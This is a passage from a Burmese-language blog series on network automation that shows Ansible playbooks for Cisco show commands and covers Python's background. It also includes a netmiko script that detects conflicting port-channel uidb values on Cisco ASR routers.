မှာအသုံးပြုဖို့အတွက်တော့ အနည်းငယ် အခက်ကြုံရပြန်ပါတယ်။ Vendor ကဘက်က ပြည့်ပြည့်ဝဝ support မလုပ်သလို အခြားသော လုံလောက်တဲ့ documentation နဲ့ tutorial တွေ စုံစုံလင်လင် မရှိတာကြောင့် ဆက်သွားဖို့ အဆင်မပြေပြန်ပါဘူး။ သို့သော် အခြား engineer တွေ တစ်လုံးဝင် တစ်လုံးထွက်နဲ့ လိုက်ပြီးတော့ စစ်ဆေးရတဲ့အချိန်မှာ ကိုယ်က Ansible Playbook နဲ့ command တစ်ခုတည်းရိုက် ထည့်လိုက်ရုံနဲ့ parallel ssh session တွေနဲ့အတူ အလုပ်ကို ပိုပြီးတော့ တွင်တွင်ကျယ်ကျယ်လုပ်လာနိုင်ပါတယ်။ ကိုယ်လိုချင်တဲ့ workflow ပုံစံတစ်ခုဖြစ်ဖို့တော့ ကိုယ့်စိတ်ကူး စိတ်သန်း ကောင်းကောင်းတစ်ခုရှိဖို့တော့ လိုမယ်ဆိုတာသိလာပါတယ်။ သူ့ကို ထဲထဲဝင်ဝင် အသုံးပြုနိုင်ဖို့ရာကတော့ Guitar တစ်လုံးကို ကိုင်ပြီးတော့ သီချင်းတစ်ပုဒ်ကို ကောက်ပြီးတော့ တီးသလို မျိုးပဲ Guitar ရဲ့ မှာရှိတဲ့ Chord တွေကို ပိုင်နိုင်ဖို့တော့ အရင်ဆုံးလိုအပ်ပါလိမ့်မယ်။ Guitar မှာရှိတဲ့ Chord တွေကို ပိုင်နိုင်သွားပြီဆိုတော့မှ ကိုယ်ကြိုက်တဲ့ colour နဲ့ flavour ကို ကိုယ်အကြည်ဓာတ်ရှိရင်ရှိသလောက် ဆက်ပြီးတော့ ဖန်တီးသွားနိုင်တဲ့ အနုပညာ ပုံစံမျိုးလိုပဲလို့ စာရေးသူထင်မိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-19d1ffb9c6a1c9d5035576d8419a708a17de4db2%2Fnetwork-ansible-1024x575.png?alt=media" alt=""><figcaption></figcaption></figure>

အောက်မှာကတော့ user EXEC mode မှာအသုံးပြုနိုင်တဲ့ show arp ကို Cisco ရဲ့ router နဲ့ switch တွေပေါ်မှာ တပြိုင်နက်တည်း parallel run လို့ရအောင် လုပ်နိုင်တဲ့ Ansible Playbook codelet လေးတစ်ခုကိုဖော်ပြပေးထားပါတယ်။ ဒီတစ်ခုမှာ raw ဆိုတဲ့ module ကိုပဲအသုံးပြုပြီးတော့ show arp ဆိုတဲ့ command ကိုထည့်ပြီးတော့ ပေးပို့ပါတယ်။ Play တစ်ခုဖြစ်တဲ့ Get ARP information အောက်မှာ tasks နှစ်ခုကို လုပ်ဆောင်ပါတယ်။ ပထမတစ်ခုက show arp ဖြစ်ပြီးတော့၊ နောက်တစ်ခုကတော့ debug ဆိုတဲ့ task နဲ့ standard out ကို screen ပေါ်မှာ print လုပ်ခိုင်းတာပဲဖြစ်ပါတယ်။

```
---
- name: Get ARP information
  hosts: all
  gather_facts: false

  tasks:
    - name: show arp
      raw: "show arp"
      register: print_output

    - debug: var=print_output.stdout_lines
```

ပြီးတော့ နောက်တစ်ခုကတော့ Privileged EXEC mode မှာ တဆင့်တက်ပြီးတော့ run နိုင်တဲ့ codelet နောက်တစ်ခုပါ။ သူလည်း play တစ်ခုနဲ့ task နှစ်ခုပါ။ ဒီတစ်ခုမှာတော့ ios\_command ဆိုတဲ့ module ကို အသုံးပြုထားပြီးတော့ authorize: yes ဆိုတာကတော့ Cisco IOS ရဲ့ enable command နဲ့ တူညီတဲ့ YAML ရဲ့ key value pair ပုံစံဖြစ်ပါတယ်။ auth\_pass: \[password] ဆိုတာကတော့ enable password ကို plaintext ထဲမှာဒီအတိုင်းထည့်တဲ့ပုံစံပါ။ \[password] ဆိုတဲ့နေရာမှာ ကိုယ့်ရဲ့ enable password ကို ထည့်သွင်းရမှာဖြစ်ပါတယ်။ ဒီလိုမျိုး plaintext နဲ့ password ကို စမ်းသပ်တဲ့အခါမျိုးမှာပဲ သုံးသင့်ပြီးတော့ production မှာတော့ vault ကို သုံးပြီးတော့ credentials တွေကို transport လုပ်သင့်ပါတယ်။

```
---
- name: Show IP Interface brief 
  hosts: cs
  gather_facts: false
  connection: local

  tasks:
    - name: Getting ip interface brief
      ios_command:
        authorize: yes
        auth_pass: [password]
        commands:
          - show ip int bri
      register: print_output

    - debug: var=print_output.stdout_lines
```

အထက်က YAML file တွေကို run ဖို့အတွက်တော့ အောက်က Ansible Playbook ရဲ့ command ကို run ရပါ လိမ့်မယ်။

```
$ ansible-playbook -u tylalin -k arp-playbook.yml
$ ansible-playbook -u tylalin -k sh-ip-int-bri.yml
```

Ansible ရဲ့ ad-hoc command အသုံးပြုပုံနဲ့ playbook command အသေးစိိတ်ကိုတော့ နောက်မှပဲ Ansible နဲ့ပတ်သတ်တဲ့ post တွေရေးတဲ့ အခါမှပဲ ထည့်သွင်းရှင်းသွားပါ့မယ်။ ဒီ post မှာတော့ high-level ပဲ ခပ်သွက်သွက် သွားလိုက်ပါတော့မယ်။ Ansible ရဲ့ use case နဲ့ network platform တွေမှာအသုံးဝင်ပုံကို အသားပေးရှင်းလိုခြင်းသာဖြစ်ပါတယ်။

ဒီတော့ဖြင့်…Ansible ဟာ Cisco network platform နဲ့ Linux server တွေကို manage လုပ်ဖို့၊ orchestrate လုပ်ဖို့ အဆင်ပြေသော်လည်း၊ အခြားသော platform တွေဖြစ်တဲ့ Huawei နဲ့ HPE တွေမှာ အဆင်မပြေတာတွေတော်တော်လေးရှိနေသေးတဲ့အတွက် Python ကိုလေ့လာပြီးတော့ multi-vendor platform တွေကို manage လုပ်နိုင်အောင်၊ automate လုပ်နိုင်အောင် ထပ်မံအားထုတ်ရပြန်ပါတယ်။ Ansible ရဲ့ backend မှာလည်း module တွေကိုလည်း Python နဲ့ပဲရေးထားတာဖြစ်တဲ့အတွက် ထပ်တိုးလေ့လာသင့်တဲ့ learning pathway တစ်ခုလို့ စာရေးသူမြင်မိပါတယ်။ Python နဲ့ ပတ်သတ်တဲ့ network automation အကြောင်းကိုတော့ နောက်တပိုင်းမှပဲ ဆက်လိုပါတယ်။ ဒီ တပိုင်းကိုတော့ Ansible နဲ့ ဘယ်လိုမျိုးစတင်တွေ့ရှိခဲ့သလဲဆိုတာနဲ့ပဲ ရပ်လိုက်ချင်ပါတော့တယ်။


# ကြုံတွေ့ရသမျှ Network Automation အနုပညာ အပိုင်း(၃)

အရှေ့တပိုင်းမှာတော့ Ansible အကြောင်းကို အကျဉ်းချုပ်ပြီးတော့ ရှင်းနိုင်သလောက်ရှင်းသွားပြီးတဲ့ နောက်မှာတော့ ဒီတစ်ခုမှာတော့ Python အသုံးတည့်ပုံဆက်သွားလိုပါတယ်။ နောက်ပြီးတော့… Python ကိုဘယ်ကနေ ဘယ်လိုဆက်ပြီးတော့ လေ့လာဖြစ်သလဲဆိုတာကိုလည်း အတိုချုပ်ပြီးတော့ ပြန်လည်မျှဝေပါ့မယ်။ စာရေးသူ Ansible ကို အချိန်ပေးပြီးတော့ ကိုယ်အသုံးပြုမည့် network environment မှာ ဘယ်လိုအသုံးတည့်အောင်လုပ်မလဲဆိုတာ သုံးပတ်လေးပတ်လောက် ရှာဖွေဖတ်ရှုရင်း သူ့ရဲ့ module တွေ အနောက်မှာ .py ဆိုတဲ့ file တွေကို စတင်တွေ့ရှိခဲ့တယ်။ Ansible ရဲ့ module တစ်ခုတစ်ခု ရေးဖို့ဆိုတာ Python ကိုသိဖို့လည်း လိုလာတာကို သိလာတယ်။ ပထမတော့… Ansible မှာ Cisco နဲ့ဆိုင်တဲ့ module တွေကို အသုံးပြုတယ်။ နောက်ပြီးတော့ Huawei နဲ့ အခြားသော vendor တွေကိုပါ ထည့်သွင်း automate လုပ်လိုတာကြောင့် Ansible ရဲ့ module တွေကို ရှာဖွေပြီးတော့ အသုံးပြုကြည့်ဖို့ ကြိုးစားတော့မှ တော်တော်လေးကို မလွယ်တဲ့ ကိစ္စပါ။ Ansible version တစ်ခုနဲ့ တစ်ခု ကွာခြားချက်တွေ အများကြီးရှိနေလို့ အချို့ module တွေဆို သုံးလို့ မရအောင်ကို ဖြစ်နေသေးတယ်။ အဲ့ဒါကြောင့်လည်း… module တစ်ခုတစ်ခုကို ဘယ်လိုတည်ဆောက်ထားသလဲဆိုတာကို သိချင်စိတ်ပေါက်လာရာကနေပြီးတော့၊ module တွေတဲ့ source code တွေကို ဟိုလျှောက်ကြည့်၊ ဒီလျှောက်ကြည့်နဲ့ Python ကို အနောက်မှာအသုံးပြုထားတယ်ဆိုတာကို သဘောပေါက်လာပါတယ်။ Module တိုင်းအတွက် support ကောင်းကောင်းရဖို့ဆိုတာလည်း တော်တော်လေးကို မလွယ်တဲ့ကိစ္စမို့ Python ကို တိုက်ရိုက်အသုံးပြုဖို့ဆိုရင် ဖြစ်နိုင် မဖြစ်နိုင်ဆိုတာကို စဉ်းစားမိတယ်။ အဲ့ဒီမှာတင်… Python နဲ့ automate လုပ်တဲ့ workflow ကို ပိုပြီးတော့ စိတ်ကြိုက်တွေ့မိလို့ Python ဟာ Ansible ရဲ့ module တွေအတွက် အရေးပါသလို၊ Ansible နဲ့ တွဲပြီးတော့ အသုံးပြုလိုတယ် ဆိုရင်လည်း ဖြစ်နိုင်တယ်လို့ သိလာတဲ့နောက်မှာ အသိသစ်တစ်ခုသိလိုက်ရတာတော့ automation မှာ ဘာဘောင်မှ မရှိပါဘူး။ ကိုယ်လုပ်ချင်တာကို ကိုယ်သိသလောက် scripting skill နဲ့ programming language တွေအသုံးပြုပြီးတော့ ပေါင်းစပ်ရတဲ့ အနုပညာတစ်ခု ပဲဖြစ်တယ်ဆိုတာပါပဲ။

စာရေးသူ ကိုယ်တိုင်တွေ့ကြုံရတဲ့ အတွေ့အကြုံအရဆိုရင်တော့ ကိုယ်ပိုင် automation project လေးတွေက စလုပ်ရင်းနဲ့ပဲ နည်းနည်းချင်းစီ လေ့လာရတာပိုပြီးတော့ ကောင်းပါတယ်။ ဒါမှမဟုတ်ရင် ကိုယ်တိုင်က Computer Science (CS) နဲ့ ကျောင်းပြီးထားတယ်၊ programming fundamental လဲပိုင်တယ်၊ framework တွေကိုလည်း ကောင်းကောင်းနားလည် ထားတယ်ဆိုရင်တော့ အတိုင်းထက်အလွန်ပါပဲ။ စာရေးသူ အတွက်တော့ sysadmin တစ်ယောက်၊ network engineer တစ်ယောက်အနေနဲ့ DevOps ဘက်ကိုလိုက်ဖို့ဆိုတာ အသိပညာ ကွာဟမှု (knowledge gap) နဲ့ အတတ်ပညာ ကွာဟမှု (skill gap) တွေအပြင်၊ စိန်ခေါ်မှုတွေ မြောက်များစွာ ရှိပါတယ်။ ကိုယ်တိုင်မှာက programming fundamental ကို ဟိုတကွက် ဒီတကွက် အနည်းအကျဉ်း လေ့လာထား၊ သိထားသော်လည်း programming နဲ့ coding အပိုင်းမှာတော့ ဘာမှ သိပ်ပြီးတော့ သိတာလည်းမဟုတ်ပါ။ အရှေ့အပိုင်းတွေမှာ ပြောခဲ့သလိုပဲ လိုအပ်ရင် လိုအပ်သလိုတော့ script လေးတွေတော့ ရေးခဲ့ဖြစ်ပါတယ်။ နောက်တစ်ခု ပိုဆိုးတာက automation နဲ့ orchestration လုပ်ဖို့အတွက် tool set နဲ့ တစ်ခုချင်းစီရဲ့ အသုံးပြုပုံ အပြင်၊ တစ်ခုနဲ့ တစ်ခုချိတ်ဆက်ပြီးတော့ ပြုလုပ်လို့ရတဲ့ workflow ကို နားလည်ဖို့ကတော့ အချိန်အများကြီးလိုတယ်။ ဒါတောင်မှ Python လို language နဲ့ တွဲပြီးတော့ အသုံပြုနိုင်တဲ့ Django တို့၊ Flask တို့လို web framework တွေမပါသေးပါဘူး။ ကိုယ်လိုက်ပြီးတော့ လေ့လာချင်တယ်ဆိုရင်တော့ automation platform တစ်ခုလုံးကို end-to-end ဆောက်လုပ်နိုင်တဲ့အထိ လေ့လာစရာ မကုန်ပါဘူး။ ဒီအတွက်… ကိုယ်လိုတဲ့ အပိုင်းကို လိုသလို သိသလောက် တတ်နိုင်သလောက် လေ့လာပြီးတော့ ကိုယ်ပိုင် project သေးသေးလေးတွေက စရင် ပိုပြီးတော့ ခရီးပေါက်နိုင်မယ်လို့ထင်ရပါတယ်။ အစပိုင်းမှာ အခက်အခဲတွေ၊ လုပ်နိုင်သမျှအမှားတွေ ပေါင်းများစွာနဲ့ ဖြတ်သန်းလိုက်ပါ။ လေ့လာရင်းနဲ့ ပိုပြီးတော့ သိလာတဲ့ တစ်နေ့ကြရင် ကိုယ်မှားခဲ့ အမှားလေးတွေကို ဂရုဏာသက်မိပါလိမ့်မယ်။ ဪ… ငါတော့ဖြင့် လွယ်လွယ်လေး လုပ်လို့ရတဲ့ အဆင့်လေးတွေကို ဒီလိုကြီး ပင်ပင်ပန်းပန်း ခဲရခဲဆစ် အများကြီး ပေပွနေအောင်လုပ်ခဲ့ပါလာဆိုပြီးတော့ ကိုယ်ဟာကို ပြုံးမိနေပါလိမ့်မယ်။ နောင်အခါ လုပ်ငန်းဆိုင်ရာ ကျွမ်းကျင်တတ်မြောက်ဖို့ ဆိုရင်တော့ ပထမဆုံးအဆင့်အနေနဲ့ မရှက်မကြောက် အများကြီးမှားရဲဖို့လိုပါလိမ့်မယ်။ ကဲ… လိုရင်းဖြစ်တဲ့ Python အကြောင်းလေးကို ခပ်သွက်သွက်လေးသွားလိုက်ရအောင်…

### Python မိတ်ဆက်

Python ကိုတော့ Guido van Rossum ဆိုတဲ့ ပုဂ္ဂိုလ်က ၁၉၉၁ တွင်းမှာ စတင်မိတ်ဆက်ပေးလိုက်ပါတယ်။ သူကတော့ Netherlands နိုင်ငံသား Dutch လူမျိုးတစ်ယောက်ဖြစ်ပါတယ်။ လူတွေကတော့ သူကို Python programming language ရဲ့ Benevolent Dictator For Life (BDFL) ဆိုတော့ အသိများကြပါတယ်။ ၂၀၁၈ ခုနှစ် ဇွန်လိုင်လ မှာတော့ သူက တသက်စာ အနားယူခရီးထွက် မယ်ဆိုပြီးတော့ Python community တစ်ခုလုံးကို ဒီအတိုင်း ကြိုက်သလိုသာ လုပ်ဆိုပြီးတော့ ထားခဲ့တဲ့ လူပါ။ အဲ့ဒီမတိုင်ခင် သူက Python မှာဖြစ်သမျှ ကိစ္စကို သူကိုယ်တိုင် အားလုံးကို ကိုင်တွယ် ဆုံးဖြတ်တဲ့ BDFL လို့ အားလုံးကသဘောတူထားပါတယ်။ ၂၀၁၈ ခုနှစ် Python community ကနေထွက်သွားတဲ့ အချိန်မှာတော့ community ကို ခင်ဗျားတို့ ကြိုက်သလိုသာ လုပ်ကြလို့ ဆိုပြီးတော့ ထားခဲ့တာပါ။ အဲ့ဒီ သတင်းဟာ Python community အတွက်အတော်လေးကို ခြောက်ခြားစရာ သတင်းတစ်ခုပါ။ BDFL ကိုယ်တိုင်က နောက်ဆုတ်သွားပြီဆိုတော့ Python community အတွက် ဘာလဲပေါ့နော်။ Guido van Rossum ဆီမှာလည်း သူပဲသိနိုင်တဲ့ အကြံဉာဏ်တွေ ရှိကောင်းရှိနိုင်ပါတယ်။ သူတစ်ယောက်တည်း Python community ကို ထိန်းချုပ်ဖို့ဆိုတော့ ရေရှည်မှာ လက်တွေ့မကျနိုင်တာမို့ သူက community လက်ထဲမှာ ဒီအတိုင်း ထားသွားခဲ့တာလည်း ဖြစ်ကောင်းဖြစ်နိုင်တယ်။ ပြန်စဉ်းစားကြည့်ရင် သူဘက်မှာ ရည်ရွယ်ချက် ရှိရှိနဲ့ ဘာတွေဖြစ်မလဲဆိုတာစောင့်ကြည့်တာလည်း ဖြစ်နိုင်သလို၊ အမှန်တကယ် အနားယူတာလည်းဖြစ်နိုင်တယ်လို့ ဆိုရမှာပါ။ မည်သို့ပင် ဖြစ်စေကာမူ… အဲ့ဒီလိုလုပ်လိုက်တော့ Python community ဟာ အရင်ထက်အရှိန်အဟုန်ကောင်းစွာနဲ့ ပြန်လည် တည်ဆောက်ယူဖို့ကို ကြိုးစားလိုက်တာဖြင့် အခုဆိုတော်တော်လေးကို ဟုတ်နေပါပြီ။ လက်ရှိအချိိန်ထိတော့ ဆုံးဖြတ်ချက်ချဖို့အတွက် board member ၅ ယောက် ကို Python Steering Council လို့ခေါ်တဲ့ အဖွဲ့မှာ နှစ်စဉ်ရွေးကောက်လာခဲ့တာ အခုဆိုရင် Guido van Rossum ကိုယ်တိုင် လက်ရှိ Python Steering Council ရဲ့ member တစ်ယောက်ပြန်ပြီးတော့လုပ်နေပါတယ်။ သူကိုယ်တိုင်က diversity ကို မြတ်နိုးတာကြောင့် အဖွဲ့ဝင်တွေထဲမှာ ယောက်ျား မိန်းမ မခွဲခြားပဲ အားလုံး ပါစေနိုင်ရန်တိုက်တွန်း အားထုတ်လေ့ရှိပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-e6dc60880bf7c19ee7a4b97d0a6808590fe9a545%2FGuido-van-Rossum-768x512.jpg?alt=media" alt=""><figcaption></figcaption></figure>

Python programming language ဟာ ABC ဆိုတဲ့ programming language ကိုအစားထိုးဖို့အတွက် ၁၉၈၀ ခုနှစ်နှောင်းပိုင်းမှာ စတင် သန္ဓေယူပါတယ်။ ABC ဟာလည်း SETL ဆိုတဲ့ language ကနေပြီးတော့ ဆင်းသက်လာတယ်လို့သိရပါတယ်။ Programming language တစ်ခုဖြစ်လာပုံကို လိုက်ပြီးတော့လေ့လာကြည့်ပြန်တော့ Linux ရဲ့ distro တွေအဆင့်ဆင့် ဆင်းသက်လာပုံနဲ့ ဆင်တူလို့နေပြန်ရော။ အစဉ်အလာအရတော့ ထိပ်ဆုံးမှာ အခြေခံတော်တော်များများကို ခြုံငုံနိုင်တဲ့ C တို့လို high-level programming နဲ့ Assembly တို့လို low-level programming language တွေရှိတယ်။ ထိုမှတဆင့် ပိုပြီးတော့ လွယ်တဲ့ ကောင်းမွန်တဲ့ language တွေကို Computer Science (CS) သမားတွေက အဆင့်ဆင့် တိုးတက်လာအောင် ကြုံဆောင်ရင် အခုလိုမျိုး Python လိုမျိုး human-readable language တွေထွက်လာပြန်ပါတယ်။ စာရေးသူ အနေနဲ့ အပြင်သင်တန်းတွေနဲ့ ကျောင်းမှာ လုပ်ရတဲ့ project တွေအတွက် C/C++၊ Java၊ C# နဲ့ Perl တို့လို Language တွေကိုလေ့လာဖူးသော်လည်း၊ Python ကတော့ အခုနောက်ပိုင်းမှ စတင် စမ်းသပ်ရင်း အသုံးပြုခြင်းဖြစ်ပါတယ်။ တော်တော်လေးကို နားလည်ရလွယ်တဲ့ programming language တစ်ခုဖြစ်သလို၊ အသုံးပြုဖို့အတွက်လည်း နေရာတော်တော်များမှာ ဘောင်ဝင်လို့ နှစ်သက်မိခြင်းပါ။ ပြီးတော့ Linux မှာလိုပဲ philosophical thinking တွေ Python programming language မှာလည်း ရှိတယ်။ အခြေခံအားဖြင့် ၅ချက်ကတော့…

* Beautiful is better than ugly. (လှတာဟာ အကျဉ်းတန်တာထက်တော့ ပို၍ကောင်း၏။)
* Explicit is better than implicit. (ရှင်းလင်းပြတ်သားတာဟာ သွယ်ဝိုက်တာထက်တော့ ပို၍ကောင်း၏။)
* Simple is better than complex. (ရိုးရှင်းတာဟာ ရှုပ်ထွေးတာထက်တော့ ပို၍ကောင်း၏။)
* Complex is better than complicated. (ရှုပ်ထွေးတာဟာ နားလည်ရခက်ထက်တော့ သာသေး၏။)
* Readability counts. (အမြင်နဲ့ ဖတ်ရလွယ်ဖို့အတွက်လည်း ထည့်တွက်ရမည်။)

အဓိပ္ပာယ်ဟာ ရှင်းလင်းသလောက် လက်တွေ့မှာ ထိုအချက်လေးတွေဟာ programming language တစ်ခုကို တည်ဆောက်ယူကြတဲ့ အခါကျော်ကျော်သွားတတ်လွန်းလို့နဲ့ တူတယ်။ Python programming language ဟာလည်း ထိုထိုသော အချက်လေးတွေနဲ့ ကိုက်ညီမူရှိစေရန် အားထုပ်ထားတဲ့ အခြေခံကောင်းသော language ရယ်ပါ။ ဒီလောက်ဆိုရင် Python ကို အနည်းငယ် မိတ်ဆက်ပြီးသား ဖြစ်ပြီလို့ထင်ပါတယ်။ လက်တွေ့ Python ဘက်ကို အနည်းငယ် ဆက်သွားလိုက်ရအောင်။

### လက်တွေ့ Python

Python ရဲ့ syntax structure နဲ့ library တွေအကြောင်းကို ပြောရင် တော်တော်နဲ့ ကိုပြီးနိုင်မယ်လို့ မထင်ပါ။ ဒီ post ရဲ့ မူလ လိုရင်းကတော့ Python code တွေကို network device တွေနဲ့ ဘယ်လိုမျိုးတွဲပြီးတော့ network automation အတွက် လက်တွေ့မှာ အသုံးချနိုင်သလဲဆိုတာ ပြချင်တာဖြစ်တဲ့အတွက် စာရေးသူ scenario တစ်ခု နဲ့ အဲ့ဒီ scenario မှာဖြစ်နေတဲ့ ပြဿနာကို ဖြေရှင်းပုံကို solution code အနေနဲ့ ထည့်သွင်း ဖော်ပြပါ့မယ်။

#### Scenario

ဒီ scenario မှာတော့ Cisco ရဲ့ ASR 1006-x series router တွေမှာ သုံးတဲ့ IOS XE အတွင်းရှိတတ်တဲ့ software bug တစ်ခုအတွက် Python ကို အသုံးချပြီးတော့ conflict ဖြစ်နေတတ်တဲ့ uidb ကို ရှာဖွေရမှာပါ။ Cisco ASR 1006-x series router တွေမှာသုံးထားသော IOS XE ရဲ့ အချို့ version တွေမှာ known issues လေးတွေရှိနေတတ်ပါတယ်။ အဲ့ဒီထဲမှာမှ သူ့ရဲ့ port-channel အတွက် အသုံးပြုတဲ့ Rx/Tx uidb ဆိုတဲ့ နံပါတ်ဟာ port-channel နဲ့ port-channel ရဲ့ subinterface တစ်ခု ဖန်တီးတိုင်းမှာ process id လိုပဲ uidb တစ်ခုစီ ကို IOS XE ပေါ်မှာ ဖန်တီးပြီးတော့ context အနေနဲ့ အသုံးပြုထားတာပါ။ ASR 1006-x series router တွေကို reboot လုပ်လိုက်တိုင်း အဲ့ဒီ uidb တွေဟာ အမြဲတည်း ပြောင်းလဲသွားတတ်ပါတယ်။ ဒီတော့… အကြိမ်ရေတော်တော်များများ device တစ်ခုတည်းပေါ်မှာတင် port-channel တစ်ခုရဲ့ Rx uidb နဲ့ အခြားသော port-channel တစ်ခုရဲ့ Tx uidb တစ်ခု နဲ့ သွားပြီးတော့ တူနေတတ်ပါတယ်။ Router ရဲ့ ပုံမှန် routing operation အတွက်တော့ အပေါ်ယံမှာ ပြဿနာကြီးကြီးကျယ်ကျယ် မရှိလှပါဘူး။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-8390a5bea5ec955f1ab0ad8eeb5c04316c9394bb%2FCisco-ASR-1006-x-Serie.png?alt=media" alt=""><figcaption></figcaption></figure>

သို့သော်… အခိုက်မသင့်ရင်တော့ အဲ့ဒီ Rx နဲ့ Tx မှာ တူနေတဲ့ port-channel နှစ်ခုဟာ အခုလိုပြဿနာတတ်ပါတယ်။ ဆိုကြပါတော့… ပထမ port-channel ရဲ့ Rx မှာ interface သို့မဟုတ် routing protocol တွေ flap ဖြစ်တဲ့အခါမှာတော့ ဒုတိယ port-channel ရဲ့ Tx မှာ လာပြီးတော့ flap ဖြစ်တဲ့ အတွက် Core Routing မှာ Bidirectional Forwarding Detection (bfd) ကို implement မလုပ်ထားဘူးဆိုခဲ့ရင် တော်တော်လေးကို ဒုက္ခပေးတတ်တဲ့ IOS XE ရဲ့ software bug တစ်ခုပါ။ ဒီ router တွေ ပေါ်မှာ port-channel နှစ်ခု သုံးခုဆိုရင် ပြဿနာ မရှိနိုင်သော်လည်း၊ MPLS ရဲ့ core routing အတွက်တော့ တစ်ခုချင်းစီ လိုက်ပြီးတော့ စစ်ဖို့ဆိုတာမလွယ်ပါဘူး။ အဲ့ဒီ conflict ဖြစ်နေတဲ့ uidb တွေကို ရှာဖို့အတွက် Ansible နဲ့ Bash သို့မဟုတ် Ansible နဲ့ Python ကို တွဲပြီးတော့ အသုံးပြုနိုင်ပါတယ်။ သို့သော်… ဒီ post မှာတော့ Python ကြီးပဲ သီးသန့် အသုံးပြုပြီးတော့ conflict ဖြစ်နေတဲ့ port-channel နဲ့ သူ့ရဲ့ uidb ကိုရှာဖွေပါ့မယ်။ netmiko library ရဲ့ ConnectHandler module ကို ssh session အတွက် အသုံးပြုထားပါတယ်။ အောက်မှာတော့ Python ရဲ့ codelet လေးကို ဖော်ပြပေးထားပါတယ်။ အခုထက်ကောင်းအောင်တော့ ထပ်ပြီးတော့ ပြင်ရေးရင်တော့ ရပါသေးတယ်။ သို့ပေမယ့်လည်း… Python code ကို network automation မှာ အသုံးပြုဖို့ အကြမ်းထည် တည်ဆောင်နိုင်ခြင်း မြင်အောင်ပြလိုတဲ့ ဆန္ဒနဲ့ ပိုပြီးတော့ compact ဖြစ်အောင်၊ ပိုပြီးတော့ code base ကောင်းမွန်လာ မရည်ရွယ်ပါ။ ကဲရဲ့လိုက ကြိုက်သလို ကဲရဲ့ နိုင်၏။

```
from netmiko import ConnectHandler
import getpass
import sys
from datetime import datetime

# define vendor platform
platform = 'cisco_ios'

# obtain username and password
usr = input("Username: ")
pwd = getpass.getpass("Password: ")

# open devices list inventory file which needs to be created by hand
file = open('dev')

# write output on screen to output_log.txt
log = open("output_log.txt","w")
start_time = datetime.now()

#connect each device to pull config individually
for line in file:
    print ("\n===================================")
    print ("\nGetting config from " + (line) + "\n===================================\n")
    log.write ("\n===================================")
    log.write ("\nGetting config from " + (line) + "\n===================================\n")
    host = line.strip()
    net_connect = ConnectHandler(device_type=platform, ip=host, username=usr, password=pwd)
    net_connect.enable()
        
    # split lines based on port-channel interface only output
    olist = net_connect.send_command("sh ip int bri | i Port-channel").splitlines()
        
    # dict for port-channel and it's status values
    pslist = {
        "po": [p.split()[0] for p in olist], #port-channel 
        "sa": [s.split()[5] for s in olist]  #status
    }
    
    polen = len(pslist["po"])
    a = 0
    count = 0 
    
    # outer loop for Rx
    while a < polen:
        if pslist["sa"][a] == "up":
            Rxuidlist = net_connect.send_command("show platform hardware qfp active interface if-name " + pslist["po"][a] + " info | in uidb")
            Rxlist = Rxuidlist.splitlines()
            Rxuid = Rxlist[0].split()[2]
            
            b = 0
            
            # inner loop for Tx
            while b < polen:
                Txuidlist = net_connect.send_command("show platform hardware qfp active interface if-name " + pslist["po"][b] + " info | in uidb")
                Txlist = Txuidlist.splitlines()
                Txuid = Txlist[1].split()[2]
                if Rxuid == Txuid:
                    count += 1
                    print (str(count) + ". " + pslist["po"][a] + "'s Rx uidb: "+ Rxuid + " conflicts with " + pslist["po"][b] + "'s Tx uidb: " + Txuid + " on " + (line))
                    log.write (str(count) + ". " + pslist["po"][a] + "'s Rx uidb: "+ Rxuid + " conflicts with " + pslist["po"][b] + "'s Tx uidb: " + Txuid + " on " + (line))
                b += 1 
        a += 1

# total time taken time stamp               
end_time = datetime.now()
total_time = end_time - start_time
print ("\n\n" + "## Total Time Taken ##")
print (total_time)
log.write ("\n\n" + "## Total Time Taken ##")
log.write (str(total_time))
log.close()
```

ဒီထက် Python နဲ့ programming fundamental ဆိုင်ရာ အကြောင်းတွေကို ပိုပြီးတော့ နားလည်ရင်တော့ class တွေ၊ function တွေကို အသုံးပြုပြီးတော့ ဒီထက်ရှုပ်ထွေးတဲ့ code တွေကို ဖန်တီးနိုင်ပါတယ်။ ဒီ codelet မှာတော့ Python ရဲ့ code ကို အသုံးပြုပြီးတော့ networking device ပေါင်းမြောက်များစွာ ပေါ်မှာ native IOS command တွေ အသုံးချပြီး ကိုယ်လိုတဲ့အရာ မှန်သမျှကို ရိုးရှင်းလှတဲ့ automated workflow တစ်ခု တည်ဆောင်နိုင်ကြောင်း ပြချင်တာပါ။ DevNet ပိုင်းကို ဆက်လိုက်ရင်တော့ data parsing/data format တွေဖြစ်တဲ့ XML၊ JSON နဲ့ YAML လို format တွေအပြင် YANG လို data modelling အကြောင်းတွေကို ထပ်မံ့ တိုးချဲ့လေ့လာ နိုင်ပါတယ်။ ဒီ post မှာတော့ အထက်က Python script ကို သုံးတဲ့နေရာမှာလည်း device အရေအတွက် များရင် များသလောက် မိနစ်ပေါင်းများစွာ ကြာနိုင်သည့်တိုင်အောင်မှ manual process ထက်တော့ အများကြီးသက်သာသွားပါပြီ။ နောက်ပိုင်းမှပဲ… အချိန်ရှိရင် ရှိသလောက် Python နဲ့ ပတ်သတ်တဲ့ အသေးစိတ်အကြောင်းလေးတွေကို ဆက်လက် ရေးသားသွားပါ့မယ်။ အခု “ကြုံတွေ့ရသမျှ Network Automation အနုပညာ” အကြောင်းကို ဒီအပိုင်း ဖြစ်တဲ့ အပိုင်း (၃) နဲ့ ပဲရပ်လိုက်ပါတော့မယ်။ Automation ရဲ့ အနုပညာ အကြမ်းဖျင်းကိုတော့ ဒီစာကို ဖတ်တဲ့သူတွေ အနေနဲ့ တီးမိခေါက်မိမယ်လို့ ယုံကြည်ရပါတော့လေသတည်း။


# Bash နဲ့ Network Configuration Management system တစ်ခုတည်ဆောက်ပုံ – အပိုင်း(၁)

